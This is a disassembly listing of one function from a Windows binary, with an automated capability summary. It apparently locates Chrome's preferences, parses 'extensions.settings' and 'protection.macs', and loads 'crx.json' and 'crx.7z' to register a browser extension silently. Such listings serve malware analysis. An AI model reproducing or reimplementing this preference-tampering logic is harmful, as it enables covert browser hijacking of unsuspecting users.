Function at 0x10026b20
Capabilities:
Check if file exists
Delete file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d9c81
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x968
mov eax, dword [0x100fb074]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x94c], edx
mov esi, ecx
mov dword [ebp - 0x92c], esi
mov eax, dword [ebx + 8]
mov dword [ebp - 0x8e8], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x938], eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x93c], eax
xor eax, eax
push 0x44
push eax
mov dword [ebp - 0x8ec], eax
mov dword [ebp - 0x8dc], eax
lea eax, [ebp - 0x168]
push eax
call fcn.100b7060
add esp, 0xc
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10028ae0
push esi
push str._DEBUGINFO__SETCRX__Chrome_path___s_n
call fcn.100043d0
add esp, 8
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x8d0]
xor edi, edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
push eax
cmovne edi, dword [ebp - 0x8b0]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp edi, 0x64
jbe 0x10028adc
push 0x100ee020
push esi
call fcn.100bed8c
add esp, 8
mov dword [ebp - 0x934], eax
test eax, eax
je 0x10028adc
lea esi, [edi + 1]
push esi
call fcn.100bd8fa
add esp, 4
mov dword [ebp - 0x8e4], eax
push esi
push 0
push eax
call fcn.100b7060
mov esi, dword [ebp - 0x934]
add esp, 0xc
push esi
push edi
mov edi, dword [ebp - 0x8e4]
push 1
push edi
call fcn.100bfba1
push esi
call fcn.100bf0a9
mov ecx, edi
add esp, 0x14
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10026c60
sub ecx, edx
cmp ecx, 1
jb 0x10026cc0
mov ecx, edi
mov esi, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10026c75
sub ecx, edx
cmp ecx, 1
jb 0x10026cc0
mov edi, 1
sub edi, esi
nop word [eax + eax]
push 1
push 0x100edcbc
push esi
call fcn.100bdd68
mov ecx, dword [ebp - 0x8e4]
add esp, 0xc
lea edx, [ecx + 1]
test eax, eax
je 0x10026cd5
inc esi
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10026cb0
sub ecx, edx
lea eax, [edi + esi]
cmp eax, ecx
jbe 0x10026c90
push dword [ebp - 0x8e4]
xor esi, esi
call fcn.100bd905
add esp, 4
jmp 0x10028ae3
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10026cd5
sub ecx, edx
cmp ecx, 1
jb 0x10026cc0
mov esi, dword [ebp - 0x8e4]
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10026cf0
sub ecx, edx
cmp ecx, 1
jb 0x10026cc0
nop
push 1
push 0x100edcc0
push esi
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x10026d45
mov ecx, dword [ebp - 0x8e4]
inc esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10026d20
sub ecx, edx
lea eax, [edi + esi]
cmp eax, ecx
jbe 0x10026d00
push dword [ebp - 0x8e4]
xor esi, esi
call fcn.100bd905
add esp, 4
jmp 0x10028ae3
push 0x74
call fcn.100b47e3
add esp, 4
mov dword [ebp - 0x8f0], eax
lea ecx, [ebp - 0x8d8]
mov dword [ebp - 4], 0
push ecx
mov ecx, eax
mov dword [ebp - 0x8d8], 0x100
call fcn.1000b7d0
and dword [ebp - 0x920], 0xfffffe00
mov edi, eax
mov dword [ebp - 0x934], edi
mov dword [ebp - 0x91c], 0
mov dword [ebp - 0x918], 0
mov dword [ebp - 0x914], 0
mov dword [ebp - 4], 2
mov dword [ebp - method.Json::FastWriter.virtual_0], vtable.Json::FastWriter.0
mov dword [ebp - 0x6b4], 0
mov dword [ebp - 0x6b0], 0xf
mov byte [ebp - 0x6c4], 0
mov word [ebp - 0x6ac], 0
mov byte [ebp - 0x6aa], 0
mov esi, dword [ebp - 0x8e4]
push 0x100edcbc
push esi
mov byte [ebp - 4], 3
call fcn.100b6560
add esp, 8
test eax, eax
je 0x10026e4c
push 0x100edcbc
push esi
call fcn.100b6560
add esp, 8
lea ecx, [ebp - 0x6a8]
push eax
call fcn.10001670
mov eax, 1
mov byte [ebp - 4], 4
push eax
mov dword [ebp - 0x8ec], eax
mov ecx, edi
mov dword [ebp - 0x8dc], eax
lea eax, [ebp - 0x928]
push eax
lea eax, [ebp - 0x6a8]
push eax
call fcn.1000b8f0
mov byte [ebp - 0x8d1], 1
test al, al
jne 0x10026e53
mov byte [ebp - 0x8d1], 0
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x8ec]
test al, 1
je 0x10026ea7
mov edx, dword [ebp - 0x694]
and eax, 0xfffffffe
mov dword [ebp - 0x8ec], eax
cmp edx, 0x10
jb 0x10026ea7
mov ecx, dword [ebp - 0x6a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10026e9d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b03
push edx
push ecx
call fcn.100b4813
add esp, 8
cmp byte [ebp - 0x8d1], 0
je 0x10028a9e
mov esi, dword [ebp - 0x938]
mov ecx, esi
call fcn.100db5e0
mov edi, eax
mov ecx, edi
mov dword [ebp - 0x950], edi
call fcn.100db720
mov ecx, edi
mov dword [ebp - 0x938], eax
call fcn.100db810
mov edx, dword [ebp - 0x93c]
mov edi, eax
mov ecx, dword [ebp - 0x950]
mov dword [ebp - 0x930], edi
call fcn.1001acc0
mov ecx, dword [ebp - 0x950]
mov edx, esi
mov dword [ebp - 0x954], eax
call fcn.1001af30
mov edx, 0xf013f
mov dword [ebp - 0x93c], eax
mov ecx, edi
call fcn.100269d0
mov edx, 0xf003f
mov ecx, edi
call fcn.100269d0
push 0x104
lea eax, [ebp - 0x378]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x120]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x270]
push 0x104
push 0
push eax
call fcn.100b7060
xor ecx, ecx
mov dword [ebp - 0x8e0], 0
xor edi, edi
mov dword [ebp - 0x8d8], ecx
add esp, 0xc
mov dword [ebp - 0x948], ecx
mov dword [ebp - 0x958], edi
mov dword [ebp - 0x944], edi
mov dword [ebp - 0x940], ecx
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x928]
mov byte [ebp - 4], 5
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x10027547
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x96c]
push ecx
mov ecx, eax
call fcn.10016240
mov esi, eax
mov dword [ebp - 0x95c], edi
lea eax, [ebp - 0x948]
cmp eax, esi
je 0x1002705a
mov ecx, eax
call fcn.1000a810
mov ecx, dword [esi]
mov edi, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov esi, ecx
mov dword [ebp - 0x8d8], ecx
mov dword [ebp - 0x948], ecx
mov dword [ebp - 0x958], edi
mov dword [ebp - 0x944], edi
mov dword [ebp - 0x940], eax
mov dword [ebp - 0x95c], esi
jmp 0x1002705c
xor esi, esi
lea ecx, [ebp - 0x96c]
call fcn.1000a810
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x8f0], eax
je 0x10027541
xor edi, edi
mov dword [ebp - 0x8dc], edi
nop
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.100b7060
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x100270b0
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea ecx, [ebp - 0x928]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100270f6
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015f00
test eax, eax
je 0x1002751f
mov ecx, dword [ebp - 0x954]
call fcn.1001a080
mov edi, eax
lea eax, [ebp - 0x378]
push 0x104
push 0
push eax
mov dword [ebp - 0x960], edi
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0x928]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100271a0
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x6a8]
push ecx
mov ecx, eax
call fcn.10015330
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x100271fa
mov esi, dword [esi]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10027200
mov edx, dword [ebp - 0x694]
sub esi, ecx
cmp edx, 0x10
jb 0x10027243
mov ecx, dword [ebp - 0x6a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10027239
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b03
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x100ee07a
cmp esi, 0x104
lea ecx, [ebp - 0x928]
mov eax, 0x103
push str.extensions
cmovge esi, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0x8f4], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10027288
sub ecx, dword [ebp - 0x8f4]
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x6a8]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x100272e4
mov eax, dword [eax]
push esi
push eax
lea eax, [ebp - 0x378]
push eax
call fcn.100b6ae0
mov edx, dword [ebp - 0x694]
add esp, 0xc
cmp edx, 0x10
jb 0x1002732f
mov ecx, dword [ebp - 0x6a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10027325
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b03
push edx
push ecx
call fcn.100b4813
add esp, 8
mov edx, edi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10027334
sub edx, ecx
lea ecx, [ebp - 0x378]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10027346
sub ecx, esi
cmp edx, ecx
jb 0x10027510
mov edx, edi
xor esi, esi
lea eax, [edx + 1]
mov dword [ebp - 0x8f4], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x10027364
sub edx, dword [ebp - 0x8f4]
cmp ecx, edx
ja 0x10027510
nop dword [eax]
push ecx
lea eax, [ebp - 0x378]
push eax
lea eax, [edi + esi]
push eax
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x100273cb
lea ecx, [ebp - 0x378]
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100273a2
sub ecx, edx
mov edx, edi
lea edi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x100273b0
sub edx, edi
lea eax, [ecx + esi]
mov edi, dword [ebp - 0x960]
cmp eax, edx
jbe 0x10027380
jmp 0x1002750a
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10027420
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015f00
test eax, eax
je 0x10027510
push 0x104
lea eax, [ebp - 0x270]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x270]
push dword [ebp - 0x92c]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x270]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10027490
mov eax, dword [str.Extensions_]
lea edx, [ebp - 0x120]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
mov byte [ecx + 0xc], al
mov al, byte [edx]
inc edx
test al, al
jne 0x100274c1
lea edi, [ebp - 0x270]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100274d1
mov ecx, edx
lea eax, [ebp - 0x270]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov ecx, dword [ebp - 0x8e0]
test eax, eax
mov eax, 1
cmovne ecx, eax
mov dword [ebp - 0x8e0], ecx
mov edi, dword [ebp - 0x960]
push edi
call fcn.100bd905
mov edi, dword [ebp - 0x8dc]
add esp, 4
mov esi, dword [ebp - 0x95c]
inc edi
add esi, 0x18
mov dword [ebp - 0x8dc], edi
mov dword [ebp - 0x95c], esi
cmp edi, dword [ebp - 0x8f0]
jb 0x10027090
mov edi, dword [ebp - 0x958]
push dword [ebp - 0x8e0]
push str._DEBUGINFO__SETCRX__Chrome_bExit___d_n
call fcn.100043d0
add esp, 8
lea ecx, [ebp - 0x928]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x10027cd8
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x96c]
push ecx
mov ecx, eax
call fcn.10016240
mov esi, eax
lea eax, [ebp - 0x948]
cmp eax, esi
je 0x10027605
mov ecx, eax
call fcn.1000a810
mov ecx, dword [esi]
mov edi, dword [esi + 4]
mov eax, dword [esi + 8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [ebp - 0x8d8], ecx
mov dword [ebp - 0x948], ecx
mov dword [ebp - 0x944], edi
mov dword [ebp - 0x940], eax
mov dword [esi + 8], 0
lea ecx, [ebp - 0x96c]
call fcn.1000a810
mov esi, dword [ebp - 0x8d8]
mov eax, 0x2aaaaaab
sub edi, esi
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x8f4], eax
je 0x10027cd8
mov dword [ebp - 0x8dc], 0
nop
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.100b7060
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x10027660
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea ecx, [ebp - 0x928]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100276a6
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015f00
test eax, eax
je 0x10027cb1
mov ecx, dword [ebp - 0x954]
call fcn.1001a080
mov edi, eax
lea eax, [ebp - 0x378]
push 0x104
push 0
push eax
mov dword [ebp - 0x8e0], edi
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0x928]
push 0x100ee07a
push str.extensions
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10027750
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x6a8]
push ecx
mov ecx, eax
call fcn.10015330
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x100277aa
mov esi, dword [esi]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x100277b0
mov edx, dword [ebp - 0x694]
sub esi, ecx
cmp edx, 0x10
jb 0x100277f3
mov ecx, dword [ebp - 0x6a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100277e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b03
push edx
push ecx
call fcn.100b4813
add esp, 8
push 0x100ee07a
cmp esi, 0x104
lea ecx, [ebp - 0x928]
mov eax, 0x103
push str.extensions
cmovge esi, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0x8f0], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10027838
sub ecx, dword [ebp - 0x8f0]
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015d00
push 0x100ee090
push str.manifest
mov ecx, eax
call fcn.10015d00
push 0x100ee028
push str.name
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x6a8]
push ecx
mov ecx, eax
call fcn.10015330
cmp dword [eax + 0x14], 0x10
jb 0x10027894
mov eax, dword [eax]
push esi
push eax
lea eax, [ebp - 0x378]
push eax
call fcn.100b6ae0
mov edx, dword [ebp - 0x694]
add esp, 0xc
cmp edx, 0x10
jb 0x100278df
mov ecx, dword [ebp - 0x6a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100278d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b03
push edx
push ecx
call fcn.100b4813
add esp, 8
mov edx, edi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x100278e4
sub edx, ecx
lea ecx, [ebp - 0x378]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100278f6
sub ecx, esi
cmp edx, ecx
jb 0x10027ca8
mov edx, edi
xor esi, esi
lea eax, [edx + 1]
mov dword [ebp - 0x8f0], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x10027914
sub edx, dword [ebp - 0x8f0]
cmp ecx, edx
ja 0x10027ca8
nop dword [eax]
push ecx
lea eax, [ebp - 0x378]
push eax
lea eax, [esi + edi]
push eax
call fcn.100bdd68
add esp, 0xc
test eax, eax
je 0x1002797b
lea ecx, [ebp - 0x378]
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10027952
sub ecx, edx
mov edx, edi
lea edi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10027960
sub edx, edi
lea eax, [ecx + esi]
mov edi, dword [ebp - 0x8e0]
cmp eax, edx
jbe 0x10027930
jmp 0x10027ca2
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100279d0
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015f00
test eax, eax
je 0x10027a3a
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
push ecx
lea ecx, [ebp - 0x6e0]
push ecx
mov ecx, eax
call fcn.10016110
lea ecx, [ebp - 0x6e0]
call fcn.10015080
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x10027bfc
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x10027bfc
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x10027bfc
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x10027bfc
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
mov edx, eax
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10027b70
sub ecx, esi
lea eax, [ebp - 0x120]
add eax, ecx
mov ecx, edx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.10015f00
test eax, eax
je 0x10027bfc
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x120]
push ecx
lea ecx, [ebp - 0x6e0]
push ecx
mov ecx, eax
call fcn.10016110
lea ecx, [ebp - 0x6e0]
call fcn.10015080
push 0x104
lea eax, [ebp - 0x270]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x270]
push dword [ebp - 0x92c]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x270]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10027c40
mov eax, dword [str.Extensions_]
lea edx, [ebp - 0x120]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
mov byte [ecx + 0xc], al
mov al, byte [edx]
inc edx
test al, al
jne 0x10027c71
lea edi, [ebp - 0x270]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10027c81
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x270]
call fcn.1001a680
mov edi, dword [ebp - 0x8e0]
push edi
call fcn.100bd905
add esp, 4
mov esi, dword [ebp - 0x8dc]
add dword [ebp - 0x8d8], 0x18
inc esi
mov dword [ebp - 0x8dc], esi
cmp esi, dword [ebp - 0x8f4]
jae 0x10027cd8
mov esi, dword [ebp - 0x8d8]
jmp 0x10027640
mov esi, dword [ebp - 0x94c]
push 0x100ee16c
push esi
push dword [ebp - 0x8e8]
call fcn.100ab670
push 0x104
lea eax, [ebp - 0x480]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x898]
push 0x104
push 0
push eax
call fcn.100b7060
lea edx, [ebp - 0x480]
add esp, 0xc
mov ecx, esi
sub edx, esi
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10027d25
lea ecx, [ebp - 0x898]
sub ecx, esi
nop word [eax + eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x10027d40
lea ecx, [ebp - 0x480]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10027d54
mov eax, dword [str.crx.json]
mov dword [ecx], eax
mov eax, dword [0x100ee174]
mov dword [ecx + 4], eax
mov ax, word [0x100ee178]
mov word [ecx + 8], ax
lea ecx, [ebp - 0x898]
dec ecx
nop
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10027d80
mov eax, dword [str.crx.7z]
mov dword [ecx], eax
mov eax, dword [0x100ee180]
mov dword [ecx + 4], eax
lea eax, [ebp - 0x480]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10028a40
lea ecx, [ebp - 0x480]
call fcn.1001a220
mov edi, eax
cmp edi, 0xa
jbe 0x10028a40
lea eax, [ebp - 0x480]
push 0x100ee020
push eax
call fcn.100bed8c
add esp, 8
mov dword [ebp - 0x8dc], eax
test eax, eax
je 0x10028a40
lea eax, [edi + 0x3e8]
push eax
mov dword [ebp - 0x8e8], eax
call fcn.100bd8fa
add esp, 4
mov esi, eax
lea eax, [edi + 0x3e8]
mov dword [ebp - 0x8e0], esi
push eax
push 0
push esi
call fcn.100b7060
add esp, 0xc
push dword [ebp - 0x8dc]
push edi
push 1
push esi
call fcn.100bfba1
push dword [ebp - 0x8dc]
call fcn.100bf0a9
add esp, 0x14
lea eax, [ebp - 0x573]
push 0xef
push 0
push eax
call fcn.100b7060
mov eax, dword [0x100ee194]
add esp, 0xc
movups xmm0, xmmword [str.extensions.settings.]
mov edx, dword [ebp - 0x930]
mov esi, edx
mov dword [ebp - 0x578], eax
mov al, byte [0x100ee198]
movups xmmword [ebp - 0x588], xmm0
mov byte [ebp - 0x574], al
mov al, byte [edx]
inc edx
test al, al
jne 0x10027e74
lea edi, [ebp - 0x588]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10027e84
and dword [ebp - 0x970], 0xfffffe00
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 0x96c], 0
and ecx, 3
mov dword [ebp - 0x968], 0
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x964], 0
mov edi, dword [ebp - 0x8e0]
push 0x100edcbc
push edi
mov byte [ebp - 4], 7
call fcn.100b6560
add esp, 8
test eax, eax
je 0x10027f37
push 0x100edcbc
push edi
call fcn.100b6560
add esp, 8
lea ecx, [ebp - 0x6a8]
push eax
call fcn.10001670
mov ecx, dword [ebp - 0x934]
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x8ec]
or eax, 2
mov dword [ebp - 0x8ec], eax
mov dword [ebp - 0x8dc], eax
lea eax, [ebp - 0x978]
push 1
push eax
lea eax, [ebp - 0x6a8]
push eax
call fcn.1000b8f0
mov byte [ebp - 0x8d1], 1
test al, al
jne 0x10027f3e
